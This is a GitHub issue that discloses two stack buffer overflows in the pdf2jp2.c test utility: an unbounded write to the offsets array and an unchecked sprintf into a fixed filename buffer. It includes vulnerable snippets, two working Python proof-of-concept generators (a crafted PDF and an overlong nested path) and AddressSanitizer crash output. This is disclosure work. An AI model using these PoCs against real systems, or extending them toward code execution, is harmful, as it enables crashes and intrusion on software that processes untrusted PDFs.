Skip to content

Stack Buffer Overflow vulnerabilities in tests/pdf2jp2.c #1618

@Keryer

Description

@Keryer

Hi team,

I found two stack buffer overflow vulnerabilities in tests/pdf2jp2.c. Both can be triggered by malicious input and detected by AddressSanitizer.

Summary

Vulnerability Location Type Severity
offsets[] array overflow pdf2jp2.c:88 Stack Buffer Overflow High
sprintf() overflow pdf2jp2.c:121 Stack Buffer Overflow High

Vulnerability 1: offsets[] Array Overflow

Description

The offsets[NUMJP2] array has a fixed size of 32 elements, but there is no bounds checking when writing to it. If a PDF file contains more than 32 "JPXDecode" markers, the program will write beyond the array boundary, causing a stack buffer overflow.

Vulnerable Code

#define NUMJP2 32
long offsets[NUMJP2];  // line 55

// ...

if( ret )
{
    // No bounds check for 'c' before writing!
    offsets[c++] = (ptrdiff_t)cpos - (ptrdiff_t)hlen + diff;  // line 88
}

PoC

#!/usr/bin/env python3
"""
PoC for offsets[] array overflow in pdf2jp2.c:88
Triggers stack buffer overflow when PDF contains >32 JPXDecode markers
"""

import os

def generate_malicious_pdf(output_path, num_jpxdecode=64):
    content = b"%PDF-1.4\n"
    
    # Each JPXDecode must be spaced >4096 bytes apart (BUFLEN)
    # to ensure each one is found in a separate fread() call
    padding_size = 4100
    
    for i in range(num_jpxdecode):
        obj = f"{i+1} 0 obj\n<</Filter/JPXDecode]/Length  10/Width 100/Height 100>>\nstream\nAAAAAAAA\nendstream\nendobj\n"
        obj_bytes = obj.encode()
        padding = b"%" + b"X" * (padding_size - len(obj_bytes) - 2) + b"\n"
        content += obj_bytes + padding
    
    content += b"\nxref\n0 1\n0000000000 65535 f \ntrailer\n<</Size 1>>\nstartxref\n0\n%%EOF\n"
    
    with open(output_path, 'wb') as f:
        f.write(content)
    
    print(f"[+] Generated malicious PDF with {num_jpxdecode} JPXDecode markers")
    print(f"[+] File size: {os.path.getsize(output_path)} bytes")

if __name__ == "__main__":
    generate_malicious_pdf("poc_offsets_overflow.pdf", 64)

Crash Output (ASAN)

$ gcc -fsanitize=address -g -O0 tests/pdf2jp2.c -o pdf2jp2_asan
$ python3 poc.py
$ ./pdf2jp2_asan poc_offsets_overflow.pdf

=================================================================
==3316415==ERROR: AddressSanitizer: stack-buffer-overflow on address 0x7ffcef46c580 at pc 0x5e42f4b7a8d6 bp 0x7ffcef46c390 sp 0x7ffcef46c380
WRITE of size 8 at 0x7ffcef46c580 thread T0
    #0 0x5e42f4b7a8d5 in main tests/pdf2jp2.c:88
    #1 0x7839a0a29d8f in __libc_start_call_main ../sysdeps/nptl/libc_start_call_main.h:58
    #2 0x7839a0a29e3f in __libc_start_main_impl ../csu/libc-start.c:392
    #3 0x5e42f4b7a444 in _start (/path/to/pdf2jp2_asan+0x2444)

Address 0x7ffcef46c580 is located in stack of thread T0 at offset 320 in frame
    #0 0x5e42f4b7a518 in main tests/pdf2jp2.c:52

  This frame has 7 object(s):
    [48, 52) 'len' (line 98)
    [64, 320) 'offsets' (line 55) <== Memory access at offset 320 overflows this variable
    [384, 392) 'needle2' (line 112)
    [416, 426) 'needle' (line 62)
    [448, 960) 'buffer' (line 56)
    [1024, 1536) 'jp2fn' (line 120)
    [1600, 5696) 'haystack' (line 61)

SUMMARY: AddressSanitizer: stack-buffer-overflow tests/pdf2jp2.c:88 in main
==3316415==ABORTING

Root Cause

The loop that searches for "JPXDecode" markers has no upper bound check on the counter c. When more than 32 markers are found, offsets[c++] writes past the end of the 32-element array, corrupting adjacent stack variables.


Vulnerability 2: sprintf() Buffer Overflow

Description

The sprintf() call at line 121 writes to a fixed-size buffer jp2fn[512], but the filename comes from command-line argument argv[1] with no length validation. If the filename exceeds ~500 bytes, the buffer overflows.

Vulnerable Code

char jp2fn[512];  // line 120
sprintf( jp2fn, "%s.%d.jp2", filename, i );  // line 121 - No length check!

PoC

#!/usr/bin/env python3
"""
PoC for sprintf() buffer overflow in pdf2jp2.c:121
Triggers stack buffer overflow with long filename (>500 bytes)
"""

import os

def create_poc(base_dir):
    # Create deeply nested directories to achieve path length > 512 bytes
    nested_dir = os.path.join(base_dir, "nested")
    os.makedirs(nested_dir, exist_ok=True)
    
    current_path = nested_dir
    dir_name = "A" * 50
    
    # Build path until it exceeds 500 bytes
    while len(current_path) < 500:
        current_path = os.path.join(current_path, dir_name)
        os.makedirs(current_path, exist_ok=True)
    
    # Create a valid PDF with JPXDecode
    pdf_content = b"""%PDF-1.4
1 0 obj
<</Type/XObject/Subtype/Image/Filter/JPXDecode]/Length  10/Width 100/Height 100>>
stream
AAAAAAAAAA
endstream
endobj
xref
0 1
0000000000 65535 f 
trailer
<</Size 1>>
startxref
0
%%EOF
"""
    
    pdf_path = os.path.join(current_path, "poc.pdf")
    with open(pdf_path, 'wb') as f:
        f.write(pdf_content)
    
    print(f"[+] Created PDF with path length: {len(pdf_path)} bytes")
    print(f"[+] Path: {pdf_path}")
    return pdf_path

if __name__ == "__main__":
    create_poc(".")

Crash Output (ASAN)

$ ./pdf2jp2_asan '/path/to/nested/AAA.../AAA.../poc.pdf'

=================================================================
==3314050==ERROR: AddressSanitizer: stack-buffer-overflow on address 0x7edf56400600 at pc 0x7edf5985f04f bp 0x7ffff3b47600 sp 0x7ffff3b46d90
WRITE of size 515 at 0x7edf56400600 thread T0
    #0 0x7edf5985f04e in __interceptor_vsprintf sanitizer_common_interceptors.inc:1687
    #1 0x7edf5985f27e in __interceptor_sprintf sanitizer_common_interceptors.inc:1730
    #2 0x5e8bb7961cde in main tests/pdf2jp2.c:121
    #3 0x7edf59429d8f in __libc_start_call_main ../sysdeps/nptl/libc_start_call_main.h:58
    #4 0x7edf59429e3f in __libc_start_main_impl ../csu/libc-start.c:392
    #5 0x5e8bb7961444 in _start (/path/to/pdf2jp2_asan+0x2444)

Address 0x7edf56400600 is located in stack of thread T0 at offset 1536 in frame
    #0 0x5e8bb7961518 in main tests/pdf2jp2.c:52

  This frame has 7 object(s):
    [48, 52) 'len' (line 98)
    [64, 320) 'offsets' (line 55)
    [384, 392) 'needle2' (line 112)
    [416, 426) 'needle' (line 62)
    [448, 960) 'buffer' (line 56)
    [1024, 1536) 'jp2fn' (line 120) <== Memory access at offset 1536 overflows this variable
    [1600, 5696) 'haystack' (line 61)

SUMMARY: AddressSanitizer: stack-buffer-overflow in __interceptor_sprintf

Root Cause

The sprintf() function does not perform bounds checking. When the combined length of filename + ".%d.jp2" exceeds 512 bytes, it writes past the end of jp2fn, corrupting adjacent stack memory.


Environment

  • OS: Linux (Ubuntu)
  • Compiler: GCC with AddressSanitizer
  • Compile flags: -fsanitize=address -fno-omit-frame-pointer -g -O0

Impact

Both vulnerabilities allow stack buffer overflow which could potentially lead to:

  • Denial of Service (crash)
  • Arbitrary code execution (if exploited)

While pdf2jp2.c appears to be a test/utility tool rather than a core library component, these vulnerabilities could still pose security risks if the tool is used to process untrusted PDF files.

Let me know if you need any additional information!

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Type

    No type

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions